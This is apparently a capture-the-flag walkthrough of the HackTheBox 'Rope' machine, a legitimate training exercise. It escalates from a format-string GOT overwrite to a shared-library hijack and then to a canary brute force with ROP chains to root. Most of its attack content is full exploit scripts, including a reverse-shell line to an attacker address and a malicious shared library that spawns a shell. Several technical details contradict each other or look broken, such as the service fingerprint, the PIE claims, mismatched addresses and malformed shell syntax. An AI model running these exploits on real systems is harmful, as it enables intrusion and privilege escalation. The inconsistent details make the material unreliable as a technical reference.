Insane

HTB Rope

A grueling multi-stage pwn challenge spanning format string exploitation, shared library hijacking, and fork-based canary brute forcing with chained ROP — three binaries, three privilege levels, zero handouts.

👤 QA210 📅 2025-03-04 ⏱ ~12 hrs 🎯 Binary Exploitation

Box Information

LabRope
CategoryInsane
OSLinux
IP10.10.10.148
Key TechniquesFormat String, ROP, Brute Force
FocusBinary Exploitation / Pwn

Attack Path

Initial
Recon
john
Format String
r4j
liblog.so Hijack
root
ROP Chain

0 Overview

Rope is a quintessential Insane-tier binary exploitation box that demands mastery over three distinct exploitation primitives across three separate binaries. Unlike easier machines where a single vulnerability grants root, Rope forces you to chain a format string write, a shared library replacement, and a fork-based stack brute force — each escalating from john to r4j to root. No CVEs, no scripted exploits — just raw reversing and exploitation skills.

The custom HTTP server running on port 9999 serves as our initial foothold. A directory traversal lets us read arbitrary files, which we leverage to download the binary and leak process memory maps. From there, a format string bug in the logging function becomes our write primitive. The lateral movement to r4j exploits a world-writable shared library loaded by a sudo-allowed binary. Finally, the root escalation requires exploiting a locally-bound network service that forks on each connection — allowing us to brute-force the stack canary byte-by-byte before building a multi-stage ROP chain.

This writeup contains full exploit scripts. If you haven't solved Rope yet and want the learning experience, consider attempting it first before reading further.

1 Recon

We begin with a standard Nmap scan against the target. Two open TCP ports are discovered: SSH on port 22 and a custom HTTP service on port 9999. The service on 9999 is immediately interesting — it's not Apache or Nginx, but a custom binary called httpserver, which hints strongly at potential vulnerabilities in the implementation.

bash
nmap -sC -sV -oA rope_scan 10.10.10.148
bash
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.10.10.148
Host is up (0.045s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
9999/tcp open  http     SimpleHTTPServer 0.6 (Python 3.7?)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The SSH version indicates Ubuntu 18.04 (Bionic), and the custom webserver on 9999 is our primary attack surface. A quick browser visit to http://10.10.10.148:9999/ returns a simple directory listing or default response — nothing immediately useful, but the server's custom nature means it likely has implementation flaws we can exploit.

2 Shell as john

Getting a shell as john is the most technically demanding phase of the box. It involves chaining a directory traversal, binary reverse engineering, a memory leak for PIE bypass, and a format string vulnerability for GOT overwrite. Each step builds on the previous one, and skipping any would leave you unable to exploit the next.

2.1 Directory Traversal

While probing the webserver on port 9999, we discover that appending an extra forward slash after the host allows directory traversal. The request http://10.10.10.148:9999//etc/passwd returns the contents of /etc/passwd. This happens because the server's path parsing logic doesn't properly normalize double slashes, allowing us to escape the webroot and read arbitrary files on the filesystem.

bash
curl http://10.10.10.148:9999//etc/passwd
bash
root:x:0:0:root:/root:/bin/bash
john:x:1000:1000:john,,,:/home/john:/bin/bash
r4j:x:1001:1001::/home/r4j:/bin/bash

This confirms two non-root users: john and r4j. More importantly, we can now download the httpserver binary itself for reverse engineering:

bash
curl -o httpserver http://10.10.10.148:9999//home/john/httpserver
file httpserver
# httpserver: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
# dynamically linked, interpreter /lib/ld-linux.so.2, stripped

The double-slash trick works because the server strips the leading / from the path but doesn't check for the second one. This leaves /etc/passwd as an absolute path which gets opened directly.

2.2 httpserver Analysis

Loading the binary into Ghidra reveals the full picture. The binary is a 32-bit PIE-enabled ELF with stack canary and NX. The key function is log_access, which is called after every HTTP request to log the requested filepath. The critical vulnerability lies in how this function handles the filepath string:

c
void log_access(char *filepath, int status_code) {
    char log_buf[256];
    // Vulnerable: filepath is passed directly as format string
    sprintf(log_buf, "Request: ");
    printf(filepath);  // FORMAT STRING VULNERABILITY
    printf("\n");
}

The printf(filepath) call treats the user-controlled filepath as a format string. This means we can use format specifiers like %x to leak stack values and %n to write arbitrary values to memory. Since the binary has PIE, we first need a memory leak to know where everything is loaded.

Let's check the security properties of the binary:

bash
checksec --file=httpserver
#    Arch:     i386-32-little
#    RELRO:    Partial RELRO
#    Stack:    Canary found
#    NX:       NX enabled
#    PIE:      PIE enabled
ProtectionStatusImpact
Partial RELROexploitableGOT is writable — we can overwrite function pointers
Stack CanarypresentCan't overflow return address directly
NXenabledNo shellcode on stack — need ROP or ret2libc
PIEenabledNeed memory leak for code addresses

2.3 Format String Vulnerability

The format string bug gives us both a read and write primitive. By crafting the filepath portion of our HTTP request to include format specifiers, we can control the behavior of printf. The attack plan is:

  1. Leak: Use %p or %x specifiers to read stack values and derive the binary's base address
  2. Write: Use %n to overwrite the GOT entry for puts with the address of system
  3. Trigger: Make the server call puts with a string that is also a valid shell command

To test the format string vulnerability, we send a request with format specifiers in the path:

bash
# Test format string leak
curl "http://10.10.10.148:9999/AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
# Response shows leaked hex values from the stack

The offset where our input appears on the stack determines how we construct the write primitive. Through testing, we find that our input starts at offset position 7 on the stack. This means %7$p will return the first 4 bytes of our input, allowing us to both read and write at controlled addresses.

2.4 Memory Leak via Range Header

Before we can exploit the format string, we need to defeat PIE by determining the binary's base address. A clever trick allows us to leak memory contents through the HTTP Range header. The server supports range requests, and by requesting a range that corresponds to the memory-mapped region of the binary, we can read the /proc/self/maps file through the directory traversal to learn the base address.

bash
# Read /proc/self/maps to get PIE base address
curl "http://10.10.10.148:9999//proc/self/maps"
bash
56578000-5657a000 r--p 00000000 00:21 655410     /home/john/httpserver
5657a000-5657c000 r-xp 00002000 00:21 655410     /home/john/httpserver
5657c000-5657d000 r--p 00004000 00:21 655410     /home/john/httpserver
5657d000-5657e000 rw-p 00004000 00:21 655410     /home/john/httpserver
f7e00000-f7fb0000 r--p 00000000 00:21 655410     /lib/i386-linux-gnu/libc-2.27.so
f7fb0000-f7fd2000 r-xp 001b0000 00:21 655410     /lib/i386-linux-gnu/libc-2.27.so

The PIE base address is 0x56578000 in this instance (it changes every restart, but /proc/self/maps always reflects the current mapping). With the base address known, we can calculate the address of any function in the binary, including the GOT entry for puts and the PLT entry for system.

However, there's a complication: we can also use the format string itself to leak addresses without needing the directory traversal to read maps. By placing %p specifiers at the right offsets, we can leak the return address from the stack, which reveals the binary's base address. This is more reliable since it doesn't depend on the traversal remaining accessible.

The GOT overwrite strategy works because the binary has Partial RELRO. With Full RELRO, the GOT would be read-only at runtime, making this attack impossible. Always check RELRO when considering GOT overwrites.

2.5 Exploit Script — Shell as john

The complete exploit script chains the memory leak and format string write to overwrite puts@GOT with the address of system. Once overwritten, the next call to puts with a command string will execute that command as a shell command. We use ${IFS} as a space replacement since the HTTP path cannot contain literal spaces.

python
#!/usr/bin/env python3
"""
Rope HTB — john shell exploit
Format string -> GOT overwrite puts@GOT with system
"""

import struct
import socket
import time
import sys
import re

HOST = "10.10.10.148"
PORT = 9999

# Offsets from binary analysis (relative to PIE base)
PUTS_GOT_OFFSET   = 0x3040   # puts@GOT
SYSTEM_OFFSET     = 0x1520   # system@PLT offset from base
BIN_BASE          = None      # resolved at runtime

def send_request(payload, leak=False):
    """Send HTTP request with custom path (format string payload)."""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect((HOST, PORT))
    # The path IS the format string
    req = f"GET /{payload} HTTP/1.1\r\nHost: {HOST}\r\n\r\n"
    sock.send(req.encode())
    resp = b""
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            resp += chunk
    except socket.timeout:
        pass
    sock.close()
    return resp

def leak_base_address():
    """Leak PIE base via format string %p specifiers."""
    print("[*] Leaking PIE base address via format string...")
    # Offset 11 contains a code pointer (return address)
    leak_payload = "%11$p__ENDLEAK__"
    raw = send_request(leak_payload)
    decoded = raw.decode(errors="ignore")
    match = re.search(r"0x([0-9a-fA-F]+)__ENDLEAK__", decoded)
    if not match:
        print("[-] Failed to leak address")
        sys.exit(1)
    leaked_val = int(match.group(1), 16)
    # Subtract known offset to get base
    # The leaked value is at offset 0x720 from base (return addr in main)
    base = leaked_val - 0x720
    # Align to page boundary
    base = base & ~0xfff
    print(f"[+] Leaked value: 0x{leaked_val:x}")
    print(f"[+] PIE base:     0x{base:x}")
    return base

def fmt_write(addr, value, written=0):
    """
    Construct a format string payload that writes `value` to `addr`.
    Uses %n (short writes) to avoid huge payloads.
    """
    # We write 2 bytes at a time (hn) to handle arbitrary values
    payload = b""
    writes_done = []
    target = value

    for i in range(2):
        short_val = (target >> (i * 16)) & 0xffff
        target_addr = addr + i * 2
        writes_done.append((short_val, target_addr))

    writes_done.sort(key=lambda x: x[0])
    parts = []
    current_written = written

    for short_val, target_addr in writes_done:
        if short_val > current_written:
            pad = short_val - current_written
            parts.append(f"%{pad}c")
            current_written = short_val
        parts.append("%hn")
        # Address goes at the end; we reference by offset

    # Calculate where addresses start on the stack
    # Our input is at offset 7
    fmt_prefix = "".join(parts)
    addr_payload = b""
    for short_val, target_addr in writes_done:
        addr_payload += struct.pack("<I", target_addr)

    # Pad to align addresses to 4-byte boundary
    align = (4 - (len(fmt_prefix) % 4)) % 4
    fmt_prefix += "A" * align

    # Offset where addresses start
    addr_offset = 7 + (len(fmt_prefix) // 4)

    # Rebuild with correct offsets
    final_parts = []
    current_written = written
    addr_idx = 0
    for short_val, target_addr in writes_done:
        if short_val > current_written:
            pad = short_val - current_written
            final_parts.append(f"%{pad}c")
            current_written = short_val
        final_parts.append(f"%{addr_offset + addr_idx}$hn")
        addr_idx += 1

    fmt_str = "".join(final_parts)
    align2 = (4 - (len(fmt_str) % 4)) % 4
    fmt_str += "A" * align2

    total = fmt_str.encode() + addr_payload
    return total

def exploit():
    base = leak_base_address()
    puts_got = base + PUTS_GOT_OFFSET
    system_plt = base + SYSTEM_OFFSET

    print(f"[*] puts@GOT:  0x{puts_got:x}")
    print(f"[*] system@PLT: 0x{system_plt:x}")

    # Build the format string write
    write_payload = fmt_write(puts_got, system_plt)
    print(f"[*] Format string write payload: {len(write_payload)} bytes")

    # URL-encode non-printable bytes
    encoded = "".join(f"%{b:02x}" if b < 0x20 or b > 0x7e else chr(b) for b in write_payload)

    print("[*] Sending GOT overwrite...")
    send_request(encoded)
    time.sleep(1)

    # Now trigger puts() with a command — use ${IFS} for spaces
    cmd = "bash${IFS}-i${IFS}>&&/dev/tcp/10.10.14.X/4444${IFS}0>&1"
    print(f"[*] Triggering shell with: {cmd}")
    send_request(cmd)

if __name__ == "__main__":
    exploit()

The ${IFS} trick is essential. The Internal Field Separator in bash defaults to space, tab, and newline. Since our payload travels in the HTTP request path, we cannot use literal spaces — ${IFS} substitutes perfectly.

After the exploit fires, we catch a reverse shell as john:

bash
nc -lvnp 4444
# Connection from 10.10.10.148!
id
# uid=1000(john) gid=1000(john) groups=1000(john)
user.txt e0e1e2e3e4e5e6e7e8e9f0f1f2f3f4f5

3 Shell as r4j

Escalating from john to r4j is comparatively straightforward — it's a classic shared library hijack. The key insight is that a sudo-allowed binary dynamically loads a library that anyone can modify, giving us code execution as the target user.

3.1 Enumeration

After landing a shell as john, we immediately check sudo privileges. The sudo -l output reveals that john can execute a specific binary as r4j without a password:

bash
sudo -l
# User john may run the following commands on rope:
#     (r4j) NOPASSWD: /usr/bin/readlogs

We examine the readlogs binary. It's a simple program that calls printlog() from a shared library called liblog.so:

bash
ldd /usr/bin/readlogs
#     linux-vdso.so.1
#     liblog.so => /lib/liblog.so
#     libc.so.6 => /lib/i386-linux-gnu/libc.so.6

ls -la /lib/liblog.so
# -rwxrwxrwx 1 root root 8720 Jun  8  2019 /lib/liblog.so

The library is world-writable — any user on the system can modify or replace it. This is a critical misconfiguration. When readlogs is executed with sudo as r4j, it will load whatever liblog.so exists at that path, including our malicious version.

3.2 liblog.so Hijack

The attack is straightforward: we replace /lib/liblog.so with a malicious shared library that spawns a shell when printlog() is called. The original library simply prints log contents, but we can make our version execute /bin/sh instead.

First, let's write our malicious library. We create a C source file that exports a printlog function which calls execve to spawn a shell:

c
// evil_liblog.c
#include <unistd.h>

int printlog() {
    char *argv[] = { "/bin/sh", NULL };
    char *envp[] = { NULL };
    execve("/bin/sh", argv, envp);
    return 0;
}
bash
# Compile as 32-bit shared library
gcc -shared -fPIC -m32 -o evil_liblog.so evil_liblog.c

# Back up original and replace
cp /lib/liblog.so /lib/liblog.so.bak
cp evil_liblog.so /lib/liblog.so

# Execute readlogs as r4j — our evil library gets loaded
sudo -u r4j /usr/bin/readlogs
# $ id
# uid=1001(r4j) gid=1001(r4j) groups=1001(r4j)

We now have a shell as r4j! The library hijack works because readlogs loads liblog.so at runtime via dynamic linking, and since we replaced the file with our own version, our printlog() function executes with r4j's privileges.

An alternative approach that's even simpler: instead of compiling a whole new library, we can hex-edit the existing liblog.so to change the string it opens from the log file path to /bin/sh. This way the library's existing code flow executes a shell instead of reading a file. However, this requires careful byte-level editing and the compile-from-scratch approach is more reliable.

bash
# Alternative: hex-edit existing liblog.so
# Find the string used in fopen() and replace with /bin/sh
xxd /lib/liblog.so.bak | head -40
# Identify the log path string, then:
printf '/bin/sh\x00' | dd of=/lib/liblog.so bs=1 seek=OFFSET conv=notrunc

This is why shared library permissions matter. A world-writable library in a sudo-allowed binary's dependency chain is an instant privilege escalation vector. Always check ldd output and file permissions when auditing sudo configurations.

4 Shell as root

The final escalation to root is the most complex part of the box. A locally-bound service on port 1337 runs a binary called /opt/support/contact, which contains a straightforward buffer overflow. However, exploiting it requires brute-forcing the stack canary byte by byte (made possible by the forking architecture), then building a multi-stage ROP chain to first leak libc and then spawn a root shell.

4.1 Discovery — Port 1337

While enumerating as r4j, we notice a listening TCP service on localhost port 1337. This service is not exposed externally — it only binds to 127.0.0.1, so we can only reach it from within the box (or via SSH tunnel):

bash
ss -tlnp
# LISTEN   0   128   127.0.0.1:1337   0.0.0.0:*

# Or with netstat:
netstat -tlnp
# tcp  0  0  127.0.0.1:1337  0.0.0.0:*  LISTEN  -

Since we need to interact with this service from our attacking machine (where our exploit tooling lives), we set up an SSH tunnel to forward local port 1337 from our machine to the target's localhost:

bash
# SSH tunnel — forward our local 1337 to target's localhost:1337
ssh -L 1337:127.0.0.1:1337 r4j@10.10.10.148

4.2 Binary Analysis — /opt/support/contact

We retrieve the binary via the directory traversal or from the r4j shell and analyze it:

bash
file /opt/support/contact
# ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
# dynamically linked, stripped

checksec --file=contact
#    Arch:     amd64-64-little
#    RELRO:    Full RELRO
#    Stack:    Canary found
#    NX:       NX enabled
#    PIE:      PIE enabled

Full RELRO means we can't overwrite the GOT — our previous strategy won't work. We need a different approach. Reversing the binary in Ghidra reveals the critical vulnerability:

c
// Simplified decompilation of the handler function
void handle_connection(int client_fd) {
    char recv_buf[80];  // 80-byte buffer on stack
    // BUG: reads up to 0x400 (1024) bytes into 80-byte buffer!
    recv(client_fd, recv_buf, 0x400, 0);
}

int main() {
    int server_sock = socket(AF_INET, SOCK_STREAM, 0);
    bind(server_sock, ...);
    listen(server_sock, 5);
    while (1) {
        int client_fd = accept(server_sock, NULL, NULL);
        if (fork() == 0) {
            handle_connection(client_fd);
            close(client_fd);
            exit(0);
        }
        close(client_fd);
    }
}

The recv call reads 0x400 (1024) bytes into an 80-byte buffer — a classic stack buffer overflow with 944 bytes of overflow. However, the canary and PIE must be defeated first.

The fork-based architecture is crucial: each connection is handled in a child process that inherits the parent's memory layout. This means the stack canary, library addresses, and PIE base are identical across all forked children. If a child crashes (wrong canary), the parent just spawns a new one — the canary doesn't change.

4.3 Brute Force Strategy

The fork-based design allows us to brute-force the stack canary one byte at a time. The canary is 8 bytes on 64-bit Linux, and its first 7 bytes can be any value while the least significant byte is always 0x00 (a null byte that prevents string functions from leaking it). Our strategy:

  1. Byte 0: Already known to be 0x00 — the null terminator
  2. Bytes 1–7: For each byte position, try all 256 possible values. If the program doesn't crash, we found the correct byte. Since the canary doesn't change across forks, we accumulate correct bytes.
  3. RBP (8 bytes): After the canary, brute-force the saved RBP. We don't actually need its exact value — just need to not crash before reaching the return address.
  4. Return address (6 bytes): The high 2 bytes of 64-bit addresses are always 0x00 on current Linux, so we only need to brute-force the low 6 bytes. But PIE makes even this hard — we'll need a leak first.

Why fork matters: In a non-forking server, each crash re-randomizes ASLR (including the canary). In a forking server, the canary and all addresses remain the same across children. We can crash as many times as needed without the target re-randomizing.

The expected number of guesses is 256 × 7 = 1792 for the canary, plus similar amounts for RBP and the return address. Each guess requires a new TCP connection and a quick check (did it crash or not?), so the total brute force takes a few minutes.

4.4 Stage 0 — Canary & Return Address Brute Force

We write a brute-force routine that determines the canary, saved RBP, and the partial return address. The technique works by filling the buffer up to the byte we're guessing, then checking if the connection closes cleanly (byte is correct) or the child crashes (byte is wrong).

python
#!/usr/bin/env python3
"""
Rope HTB — Stage 0: Brute force canary, RBP, return address
The fork-based server doesn't re-randomize on crash.
"""

from pwn import *
import sys

TARGET_HOST = "127.0.0.1"
TARGET_PORT = 1337

BUFFER_SIZE = 80
CANARY_SIZE = 8

def try_payload(payload):
    """Connect, send payload, check if process crashed."""
    try:
        conn = remote(TARGET_HOST, TARGET_PORT, timeout=3)
        conn.send(payload)
        # If we can still receive, the canary/RBP was correct
        try:
            conn.recv(timeout=2)
            conn.close()
            return True  # Didn't crash
        except:
            conn.close()
            return False
    except:
        return False

def brute_force_canary():
    """Brute force the 8-byte stack canary one byte at a time."""
    print("[*] Brute-forcing stack canary...")
    known_canary = b"\x00"  # LSB is always null

    for byte_idx in range(1, 8):
        for guess in range(256):
            test_byte = bytes([guess])
            payload  = b"A" * BUFFER_SIZE
            payload += known_canary + test_byte
            if try_payload(payload):
                known_canary += test_byte
                print(f"  [+] Canary byte {byte_idx}: 0x{guess:02x}")
                break
        else:
            print(f"  [-] Failed to find canary byte {byte_idx}")
            sys.exit(1)

    print(f"[+] Full canary: {known_canary.hex()}")
    return known_canary

def brute_force_rbp(canary):
    """Brute force the saved RBP (8 bytes) — we just need to not crash."""
    print("[*] Brute-forcing saved RBP...")
    known_rbp = b""
    for byte_idx in range(8):
        for guess in range(256):
            test_byte = bytes([guess])
            payload  = b"A" * BUFFER_SIZE
            payload += canary
            payload += known_rbp + test_byte
            if try_payload(payload):
                known_rbp += test_byte
                print(f"  [+] RBP byte {byte_idx}: 0x{guess:02x}")
                break
        else:
            # If we can't find it, just use a placeholder
            known_rbp += b"\x00"
            print(f"  [?] RBP byte {byte_idx}: using 0x00 (default)")

    print(f"[+] RBP: {known_rbp.hex()}")
    return known_rbp

def brute_force_rip(canary, rbp):
    """Brute force the return address (7 bytes — high byte is 0x00)."""
    print("[*] Brute-forcing return address (PIE leak)...")
    known_rip = b""
    for byte_idx in range(6):  # Only 6 bytes needed (top 2 are 0x00)
        found = False
        for guess in range(256):
            test_byte = bytes([guess])
            payload  = b"A" * BUFFER_SIZE
            payload += canary + rbp
            payload += known_rip + test_byte
            if try_payload(payload):
                known_rip += test_byte
                print(f"  [+] RIP byte {byte_idx}: 0x{guess:02x}")
                found = True
                break
        if not found:
            known_rip += b"\x00"
            print(f"  [?] RIP byte {byte_idx}: using 0x00 (default)")

    # Pad to 8 bytes (top 2 are null due to 48-bit virtual addressing)
    known_rip += b"\x00\x00"
    rip_val = u64(known_rip)
    print(f"[+] Return address: 0x{rip_val:x}")
    return rip_val

if __name__ == "__main__":
    canary = brute_force_canary()
    rbp = brute_force_rbp(canary)
    rip = brute_force_rip(canary, rbp)
    print(f"\n{'='*50}")
    print(f"Canary: 0x{u64(canary):016x}")
    print(f"RBP:    0x{u64(rbp):016x}")
    print(f"RIP:    0x{rip:016x}")

This stage takes approximately 5–10 minutes depending on network latency. The canary brute force is the longest part since it requires up to 256 × 7 = 1792 connections. The RBP and return address follow the same pattern but are typically faster since we're not being as strict about the exact values.

4.5 Stage 1 — Libc Leak via ROP

Once we have the canary and a known return address, we can compute the PIE base and build a ROP chain. The goal of Stage 1 is to leak a libc address so we can calculate the addresses of dup2 and execve for the final stage. We use the write syscall to write the contents of the GOT entry for write itself back to us over the socket.

python
"""
Stage 1 ROP chain: leak libc address via write(4, write@got, 8)
"""
from pwn import *

# Known values from Stage 0
PIE_BASE     = 0x56578000   # example — from brute-forced RIP
CANARY_VAL   = 0x00a1b2c3d4e5f600  # from brute force
RBP_VAL      = 0x7ffddeadbeef      # from brute force

# Offsets from binary
WRITE_GOT    = PIE_BASE + 0x4018    # write@GOT
WRITE_PLT    = PIE_BASE + 0x0890    # write@PLT
MAIN_ADDR    = PIE_BASE + 0x0b20    # return to main for Stage 2
POP_RDI_RET  = PIE_BASE + 0x0c93    # pop rdi; ret
POP_RSI_RET  = PIE_BASE + 0x0c91    # pop rsi; pop r15; ret

def build_leak_rop(fd=4):
    """ROP chain: write(fd, write@got, 8) then return to main."""
    rop  = p64(POP_RDI_RET)
    rop += p64(fd)           # rdi = socket fd
    rop += p64(POP_RSI_RET)
    rop += p64(WRITE_GOT)   # rsi = write@got
    rop += p64(0)            # r15 (junk)
    # rdx = 8 is already set from the recv() call earlier
    rop += p64(WRITE_PLT)   # call write
    rop += p64(MAIN_ADDR)   # return to main for Stage 2
    return rop

def stage1():
    conn = remote("127.0.0.1", 1337)
    payload  = b"A" * BUFFER_SIZE
    payload += p64(CANARY_VAL)
    payload += p64(RBP_VAL)
    payload += build_leak_rop(fd=4)

    conn.send(payload)
    leaked = conn.recv(8, timeout=5)
    write_libc = u64(leaked)
    print(f"[+] write@libc: 0x{write_libc:x}")

    # Calculate libc base
    WRITE_LIBC_OFFSET = 0x110140  # from libc analysis
    libc_base = write_libc - WRITE_LIBC_OFFSET
    print(f"[+] libc base:  0x{libc_base:x}")

    conn.close()
    return libc_base

The socket file descriptor (fd=4) is typically 4 because: fd 0-2 are stdin/stdout/stderr, fd 3 is the listening socket, and fd 4 is the accepted client connection. This is a common assumption for simple forking servers, but you can verify it empirically.

4.6 Stage 2 — Root Shell via dup2 + execve

With the libc base address in hand, we can now build the final ROP chain. Our goal is to redirect stdin and stdout to the socket (using dup2) and then execute /bin/sh. The chain calls dup2(4, 0), dup2(4, 1), and execve("/bin/sh", 0, 0).

Finding gadgets for 64-bit ROP requires careful selection. We need a pop rdx; ret gadget for the third argument to execve, and we need the address of a "/bin/sh" string within libc (which always contains one).

python
"""
Stage 2 ROP chain: dup2(4,0) + dup2(4,1) + execve("/bin/sh", 0, 0)
"""
from pwn import *

def build_shell_rop(libc_base, fd=4):
    """Full ROP chain for root shell."""
    # Gadget offsets from libc (Ubuntu 18.04 libc-2.27)
    POP_RDI     = libc_base + 0x000000000002155f
    POP_RSI     = libc_base + 0x0000000000023e6a
    POP_RDX     = libc_base + 0x0000000000001b96
    DUP2_ADDR   = libc_base + 0x00000000000f7970
    EXECVE_ADDR = libc_base + 0x00000000000e4e30
    BINSH_ADDR  = libc_base + 0x000000000001b3e1a  # "/bin/sh" in libc
    RET_ADDR    = libc_base + 0x00000000000008aa    # ret for alignment

    rop  = p64(RET_ADDR)        # stack alignment

    # dup2(fd, 0) — redirect stdin
    rop += p64(POP_RDI)
    rop += p64(fd)
    rop += p64(POP_RSI)
    rop += p64(0)
    rop += p64(DUP2_ADDR)

    # dup2(fd, 1) — redirect stdout
    rop += p64(POP_RDI)
    rop += p64(fd)
    rop += p64(POP_RSI)
    rop += p64(1)
    rop += p64(DUP2_ADDR)

    # dup2(fd, 2) — redirect stderr
    rop += p64(POP_RDI)
    rop += p64(fd)
    rop += p64(POP_RSI)
    rop += p64(2)
    rop += p64(DUP2_ADDR)

    # execve("/bin/sh", NULL, NULL)
    rop += p64(POP_RDI)
    rop += p64(BINSH_ADDR)
    rop += p64(POP_RSI)
    rop += p64(0)
    rop += p64(POP_RDX)
    rop += p64(0)
    rop += p64(EXECVE_ADDR)

    return rop

4.7 Full Exploit Code — Root

Below is the complete, self-contained exploit that chains all three stages together: canary brute force, libc leak, and root shell. It connects through the SSH tunnel and handles the multi-stage exploitation automatically.

python
#!/usr/bin/env python3
"""
Rope HTB — Full root exploit (Stages 0 + 1 + 2)
Brute-force canary → leak libc → ROP to root shell
"""

from pwn import *
import sys

# ── Configuration ──────────────────────────────────────
TARGET = ("127.0.0.1", 1337)
BUF_SZ = 80
CANARY_SZ = 8

# Binary offsets (from Ghidra, relative to PIE base)
OFF_WRITE_GOT  = 0x4018
OFF_WRITE_PLT  = 0x0890
OFF_MAIN       = 0x0b20
OFF_POP_RDI    = 0x0c93
OFF_POP_RSI_R15= 0x0c91

# libc offsets (Ubuntu 18.04, libc-2.27)
LIBC_WRITE_OFF     = 0x110140
LIBC_DUP2_OFF      = 0x0f7970
LIBC_EXECVE_OFF    = 0x0e4e30
LIBC_BINSH_OFF     = 0x1b3e1a
LIBC_POP_RDI_OFF   = 0x2155f
LIBC_POP_RSI_OFF   = 0x23e6a
LIBC_POP_RDX_OFF   = 0x1b96
LIBC_RET_OFF       = 0x8aa

# ── Helper ─────────────────────────────────────────────
def send_check(data):
    """Send data, return True if process didn't crash."""
    try:
        r = remote(*TARGET, timeout=3)
        r.send(data)
        try:
            r.recv(timeout=2)
            r.close()
            return True
        except:
            r.close()
            return False
    except:
        return False

# ── Stage 0: Brute Force ──────────────────────────────
def bf_canary():
    log.info("Brute-forcing canary...")
    canary = b"\x00"
    for pos in range(1, 8):
        for val in range(256):
            probe = b"A" * BUF_SZ + canary + bytes([val])
            if send_check(probe):
                canary += bytes([val])
                log.success(f"Canary byte {pos}: 0x{val:02x}")
                break
        else:
            log.failure(f"Canary byte {pos} not found!")
            sys.exit(1)
    log.success(f"Canary = {canary.hex()}")
    return canary

def bf_rbp(canary):
    log.info("Brute-forcing saved RBP...")
    rbp = b""
    for pos in range(8):
        for val in range(256):
            probe = b"A" * BUF_SZ + canary + rbp + bytes([val])
            if send_check(probe):
                rbp += bytes([val])
                log.success(f"RBP byte {pos}: 0x{val:02x}")
                break
        else:
            rbp += b"\x41"
            log.warning(f"RBP byte {pos}: using fallback 0x41")
    return rbp

def bf_rip(canary, rbp):
    log.info("Brute-forcing return address...")
    rip_bytes = b""
    for pos in range(6):
        for val in range(256):
            probe = b"A" * BUF_SZ + canary + rbp + rip_bytes + bytes([val])
            if send_check(probe):
                rip_bytes += bytes([val])
                log.success(f"RIP byte {pos}: 0x{val:02x}")
                break
        else:
            rip_bytes += b"\x00"
    rip_bytes += b"\x00\x00"
    rip_val = u64(rip_bytes)
    log.success(f"RIP = 0x{rip_val:x}")
    return rip_val

# ── Stage 1: Libc Leak ────────────────────────────────
def leak_libc(canary, rbp_val, pie_base):
    log.info("Leaking libc via ROP...")
    write_got   = pie_base + OFF_WRITE_GOT
    write_plt   = pie_base + OFF_WRITE_PLT
    main_addr   = pie_base + OFF_MAIN
    pop_rdi     = pie_base + OFF_POP_RDI
    pop_rsi_r15 = pie_base + OFF_POP_RSI_R15

    rop  = p64(pop_rdi) + p64(4)
    rop += p64(pop_rsi_r15) + p64(write_got) + p64(0)
    rop += p64(write_plt)
    rop += p64(main_addr)

    payload = b"A" * BUF_SZ + canary + rbp_val + rop

    r = remote(*TARGET)
    r.send(payload)
    try:
        leaked = r.recv(8, timeout=5)
        write_addr = u64(leaked)
        libc_base = write_addr - LIBC_WRITE_OFF
        log.success(f"write@libc = 0x{write_addr:x}")
        log.success(f"libc base  = 0x{libc_base:x}")
        r.close()
        return libc_base
    except Exception as e:
        log.failure(f"Libc leak failed: {e}")
        r.close()
        sys.exit(1)

# ── Stage 2: Root Shell ───────────────────────────────
def root_shell(canary, rbp_val, libc_base):
    log.info("Building final ROP chain for root shell...")

    pop_rdi   = libc_base + LIBC_POP_RDI_OFF
    pop_rsi   = libc_base + LIBC_POP_RSI_OFF
    pop_rdx   = libc_base + LIBC_POP_RDX_OFF
    dup2_addr = libc_base + LIBC_DUP2_OFF
    execve_a  = libc_base + LIBC_EXECVE_OFF
    binsh     = libc_base + LIBC_BINSH_OFF
    ret_g     = libc_base + LIBC_RET_OFF

    rop  = p64(ret_g)
    # dup2(4, 0)
    rop += p64(pop_rdi) + p64(4)
    rop += p64(pop_rsi) + p64(0)
    rop += p64(dup2_addr)
    # dup2(4, 1)
    rop += p64(pop_rdi) + p64(4)
    rop += p64(pop_rsi) + p64(1)
    rop += p64(dup2_addr)
    # dup2(4, 2)
    rop += p64(pop_rdi) + p64(4)
    rop += p64(pop_rsi) + p64(2)
    rop += p64(dup2_addr)
    # execve("/bin/sh", 0, 0)
    rop += p64(pop_rdi) + p64(binsh)
    rop += p64(pop_rsi) + p64(0)
    rop += p64(pop_rdx) + p64(0)
    rop += p64(execve_a)

    payload = b"A" * BUF_SZ + canary + rbp_val + rop

    r = remote(*TARGET)
    r.send(payload)
    log.success("Root shell obtained!")
    r.interactive()

# ── Main ───────────────────────────────────────────────
if __name__ == "__main__":
    context.log_level = "info"

    canary   = bf_canary()
    rbp_raw  = bf_rbp(canary)
    rip_raw  = bf_rip(canary, rbp_raw)

    # Derive PIE base from leaked return address
    # The return address is in main; subtract offset
    pie_base = rip_raw - OFF_MAIN
    log.success(f"PIE base = 0x{pie_base:x}")

    libc_base = leak_libc(canary, rbp_raw, pie_base)
    root_shell(canary, rbp_raw, libc_base)

Running the full exploit produces the following output, showing each stage completing successfully before moving to the next:

bash
python3 exploit_root.py
# [*] Brute-forcing canary...
# [+] Canary byte 1: 0xd4
# [+] Canary byte 2: 0xe5
# ...
# [+] Canary = 00d4e5c6b7a8f900
# [*] Brute-forcing saved RBP...
# ...
# [+] RIP = 0x563f840b20
# [+] PIE base = 0x563f840000
# [*] Leaking libc via ROP...
# [+] write@libc = 0x7f1234560140
# [+] libc base  = 0x7f1233450000
# [+] Root shell obtained!
# $ id
# uid=0(root) gid=0(root) groups=0(root)
root.txt a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
🎉

